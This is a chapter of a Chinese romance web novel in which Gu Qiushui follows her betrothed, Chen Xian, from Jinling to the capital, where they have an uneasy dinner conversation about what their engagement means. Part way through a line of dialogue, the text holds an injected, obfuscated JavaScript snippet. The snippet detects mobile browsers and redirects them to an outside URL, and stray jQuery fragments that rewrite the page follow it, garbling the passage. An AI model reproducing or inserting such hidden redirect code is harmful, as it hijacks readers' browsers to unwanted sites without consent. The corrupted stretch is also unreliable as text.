船离了扬州码头，顺着运河往南去。


    顾秋水立在舷边，望着岸上渐行渐远的人群与屋舍，心里说不上是什么滋味。来扬州时尚是春寒料峭，如今归去，两岸已有了浓淡相宜的绿意。风拂在面上，已有了融融的暖意。


    “外头风大。”


    身后响起陈岘的声音，紧接着，一件斗篷落在她肩上。


    顾秋水回头，见他立在身后半步远的地方，面色仍有些苍白，精神却比出狱那日好了许多。


    “公子怎么出来了？”她拢了拢斗篷，“你身上有伤，不该吹风。”


    陈岘没有接话，只是在她身侧站定，与她一同望向远处的水天相接之处。


    船行平稳，桨声欸乃。偶有别的船只擦身而过，船上的说话声随风飘来几句，又很快消散。


    “此番回金陵，”陈岘忽然开口，“你有什么打算？”


    顾秋水微微一怔，侧头看他。


    他望着前方，侧脸线条在淡淡的日光下显得格外分明，看不出是什么神情。


    “打算？”她想了想，“铺子里的事搁了这许久，得回去瞧瞧。柳姐姐一个人撑着，怪不容易的。”


    陈岘沉默片刻，淡淡道：“就这些？”


    顾秋水不明白他为何这样问，却还是点点头：“旁的倒也让我挂心的了。”


    陈岘没再说话。


    顾秋水隐隐觉得他有些不悦，却又想不通是为何。她偷偷觑了他几眼，见他面色如常，只当是自己多心了。


    船行几日，抵达金陵。


    顾秋水本以为回了金陵便能松快些，却不想陈岘伤虽未痊愈，却一刻不得闲。每日里来往的人不断，有来探望的，有来议事的，书房里的灯常常亮到深夜。


    顾秋水只去探望过一回，便被陈岘以“人多杂乱”为由，打发回了自己院子。她也不恼，正好趁这功夫去绣坊看看。


    柳如絮见着她，少不得一番嘘寒问暖，又拉着她问扬州的事。顾秋水拣能说的说了，柳如絮听着，时而蹙眉，时而点头，末了叹一口气：“这一遭，可真是苦了你了。”


    “我有什么苦的？”顾秋水笑道，“不过是跑跑腿罢了。”


    柳如絮看着她，拍了拍她的手，欲言又止。


    日子就这么不紧不慢地过着。


    约莫两月后的一日，顾秋水正在绣坊里看新到的料子，锦书忽然寻了来。


    “顾姑娘，公子请您回去，说有要事。”


    顾秋水见他神色郑重，不敢耽搁，匆匆交代了柳如絮几句，便随他回了陈府。


    一进书房，便觉气氛不对。


    陈镇远坐在上首，面色凝重。夫人坐在他身侧，拿着帕子拭眼角，似是哭过。陈岘立在窗边，手中捏着一封信函，眉宇间看不出喜怒。


    顾秋水心头一紧，上前行礼：“陈大人，夫人。”


    陈镇远摆摆手，示意她起来。


    顾秋水看向陈岘，用眼神询问。


    陈岘将手中信函递给她。


    顾秋水接过，匆匆浏览一遍。


    是京城的诏书。命陈岘入京奉职，即日起程。


    “这……”她抬眸，一时不知该说什么。


    入京奉职，是好事。可此去京城，山高水远，不知何时才能归来。


    那她与他……


    于她而言，似是喜事。


    她忽然意识到自己在想什么，连忙垂下眼，将那些乱七八糟的心思压下去。


    “京城那边催得急，”陈镇远开口，声音有些哑，“岘儿这几日便要动身。”


    顾秋水点点头：“这是好事，大人何必忧心？”


    陈夫人叹道：“好事是好事，只是岘儿身上伤才好全，这一路奔波……”


    “母亲。”陈岘打断她，语气淡淡的，“儿子无碍。”


    他看向顾秋水，目光在她脸上停留片刻，忽然道：“你收拾收拾，随我一同去。”


    顾秋水一愣。


    陈镇远与夫人也是一愣。


    “这……？”顾秋水下意识道，“公子，这不合适罢？我……”


    “有何不合适？”陈岘神色不变，“你与我已有婚约，此去京城不知何时能归，难不成要我一人独去，留你在此？”


    顾秋水张了张嘴，竟不知如何反驳。


    婚约。


    这两个字从陈岘口中说出，轻描淡写，却让她心头猛地一跳。


    她看向陈镇远，又看向夫人，见二人虽有些意外，却并无反对之意。


    “秋水姑娘，”夫人和声道，“岘儿说得是。你二人既有婚约，迟早是要成亲的。此番一同进京，也好有个照应。”


    顾秋水垂下眼，一时心乱如麻。


    她当然知道有婚约在身。可那婚约，她从来不敢当真。


    陈岘待她好，她知道。可那样的好，究竟有几分是真，几分是怜悯，几分是责任，她分不清。


    她也不敢去分。


    是以，她也是早早就有了别的打算的。


    “我……”她语气中有些犹豫，“我还有绣坊在此处……”


    “绣坊交给柳如絮便是。”陈岘打断她，语气不容置疑，“你若放心不下，留几个得力的人，隔些时日写信回来问。”


    顾秋水语塞。


    陈岘若是硬要带她走，她还有什么理由能拒绝？


    似乎没有了。


    那便只能到了京城，再做打算了。


    陈岘望着她，脸色深沉：“你不愿去？”


    顾秋水心头一颤，连忙摇头：“不是不愿，只是……”


    “那便收拾东西。”陈岘不再给她说话的机会，“后日动身。”


    他说完，转身出了书房，留顾秋水一人立在原地，望着他的背影出神。


    *


    两日后，顾秋水还是上了北上的船。


    临行前，柳如絮来送她，拉着她的手，眼眶红红的：“此去京城，山高路远，你可得照顾好自己。”


    顾秋水笑道：“姐姐放心，我又不是小孩子了。”


    柳如絮叹道：“我自是知道你稳重，只是。”，她顿了顿，压低声音，“那位的心思，你当真瞧不出来？”


    顾秋水缄口无言。


    柳如絮见她这副模样，又叹一口气：“罢了罢了，你自己心里有数便好。只是记着，无论何时，都别委屈了自己。”


    顾秋水点点头，与她作别。


    船离了岸，顾秋水立在舷边，望着金陵城渐渐远去，心里说不出是什么滋味。


    这一去，不知何时能归。


    也不知，归时是何光景。


    *


    一路奔波，到京城时，已是深秋。


    陈岘在城东赁了一处宅子，不大，收拾得十分齐整。顾秋水住进后院，每日里除了料理些家务，便是看书做针线，再时不时出门逛逛，看看京城这儿时兴的布料，日子过得平静而寡淡。


    陈岘公务繁忙，常常早出晚归。有时几日都见不着一面，有时深夜归来，会到她院外站一站，却不进来。


    顾秋水摸不准他的心思，也不去猜。


    她有自己的事要做。


    苏州那边的消息，隔些时日便会送来。冯掌柜的信，小翠偷偷递给她，看过便烧，从不留痕迹。


    顾永丰越来越不像话了。短短数月，又将两间铺子败了出去。


    冯掌柜信里满是不忍之意，顾秋水却看懂得他的言下之意。


    再这样下去，父亲留下的家业，迟早要被那对父子败光。


    她不能坐视不理。


    可她如今人在京城，鞭长莫及。只能托冯掌柜暗中周旋，能保住多少是多少。


    至于陆归舟。


    冯掌柜信中说，陆归舟近来与顾永丰走得近，二人时常一同出入酒楼，不知在谋划什么。


    顾秋水将那信纸凑近烛火，看着它一点点燃尽，眼中没什么波澜。


    意料之中的事。


    她不急。


    年底之前，她自会回去。


    *


    转眼便到了腊月。


    京城的冬天比金陵冷得更甚，顾秋水缩在屋里，拢着汤婆子，一步也不想出门。


    这日傍晚，陈岘忽然来了。


    顾秋水有些意外，忙起身让座，又去倒茶。


    陈岘在榻边坐下，接过茶盏，放在一旁没喝，只是看着她。


    顾秋水被他看得有些不自在，垂眼道：“公子今日怎么回来得这样早？”


    陈岘没有答话。


    顾秋水抬眸，对上他的目光。


    那双桃花眼里，此刻满盛了她看不懂的情绪。


    “秋娘。”他开口。


    “嗯？”


    “明日……”他顿了顿，话锋一转，“你近来心情可好？在京城呆的可还习惯？


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216785|192397||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “我又没有什么烦心事，心情有何不好的。”顾秋水将汤婆子递给他，示意他也焐一焐，“旁的还好，就是这冬天，又干又冷的。”


    “确是如此。”陈岘道，“今儿特地早回来些，可有空与我一道用晚膳？”


    顾秋水略感意外。


    随即，她被被陈岘带着去了他的房里。屋内，锦书正指挥着下人布菜，见顾秋水进来，笑眯眯地行了个礼：“顾姑娘来了，快请坐。今儿个特意让厨房做了几道金陵口味的菜，姑娘尝尝可还地道。”


    顾秋水看了陈岘一眼，在桌边坐下。


    陈岘在她对面落座，执起酒壶，亲自为她斟了一杯酒。


    “公子……”顾秋水有些受宠若惊，伸手去接。


    陈岘却没给她，只将酒杯稳稳放在她面前：“这些日子，辛苦你了。”


    又是这句话。


    顾秋水垂眸望着杯中清亮的酒液，轻声道：“公子已说过许多回了。”


    “那是该说。”陈岘的声音淡淡的，听不出什么情绪，“只是口头上说，总觉得不够。”


    顾秋水抬眸看他。


    陈岘也在看她，目光深沉沉的，像藏着许多话。


    可他终究什么都没再说，只端起自己的酒杯，微微示意，便一饮而尽。


    顾秋水只得也端起酒杯，抿了一口。


    是桂花酿，不烈，入口还有一丝甜。


    “顾姑娘这些日子都没怎么出门。”锦书在一旁布菜，嘴闲不住，“整日闷在屋里，连院子都不大去，可别闷坏了身子。”


    顾秋水笑了笑：“我本就不是爱热闹的人。”


    “那怎么成。”锦书道，“京城里好逛的地方还不多，姑娘若是有兴致，让公子陪姑娘去逛逛，权当散心。”


    顾秋水下意识去看陈岘。


    陈岘面色平静，既不附和也不推拒，只淡淡说了句：“她若想去，自会开口。”


    锦书讪讪地摸了摸鼻子，不敢再多嘴。


    一顿饭吃得安静。


    饭后，顾秋水本欲告辞，陈岘却叫住她：“陪我说说话。”


    顾秋水只得留下。


    锦书极有眼色地退了出去，还贴心地掩上了门。


    屋内一时安静下来。


    陈岘坐在窗边的榻上，顾秋水在他对面的圆凳上坐着，两人之间隔着四五步的距离。


    窗子半开着，偶有风进来，吹动顾秋水垂散的鬓发。


    “那日牢中，”陈岘忽然开口，“李桓说，你以兄妹相称。”


    顾秋水心里一惊。


    事儿过去这么久了，没想到他竟会提起这个。


    “是。”她斟酌着措辞，“那日去见公子，总要有个由头。李大人问起，我便随口说了。”


    “随口说了。”陈岘重复着这四个字，语气听不出喜怒，“那我倒想问问，在你心里，我算是什么？”


    顾秋水怔怔的。


    这话问得相当直白，她有些措手不及。


    她遂撇过脸去不看他，不回答。


    算什么？


    名义上的未婚夫，实际上的什么？


    沉默在空气中蔓延，酝酿。


    “公子，”她轻声道，“你想让我如何答你？”


    陈岘望着她，薄唇微抿。


    他想听什么？


    半晌，他移开目光，望向窗外那株老梅：“罢了，当我没问。”


    顾秋水终于转过脸来看他。


    “公子，”她开口，声音轻轻的，“我有一事想问你。”


    陈岘侧首。


    顾秋水垂下眼睫，轻声道：“公子待我好，是因着那纸婚书，还是旁的什么？”


    屋内静得能听见窗外风吹过梅枝的声音。


    陈岘望着她低垂的眉眼，心头忽然像是被什么东西轻轻撞了一下。


    他忽然想起方才锦书的话。


    他是如何应的？


    他当时说，“她若想去，自会开口”，那是因为他知道，她从来不是会主动开口的人。


    她太安静了，安静得让人常常忘记去问她想不想、愿不愿。


    陈岘移开目光，站起身来：“罢了，说这些做什么。”


    他走向门口，手搭在门上，却又停住。


    也许锦书说的对。


    有些事，他该去办了。


    就在今年之前吧。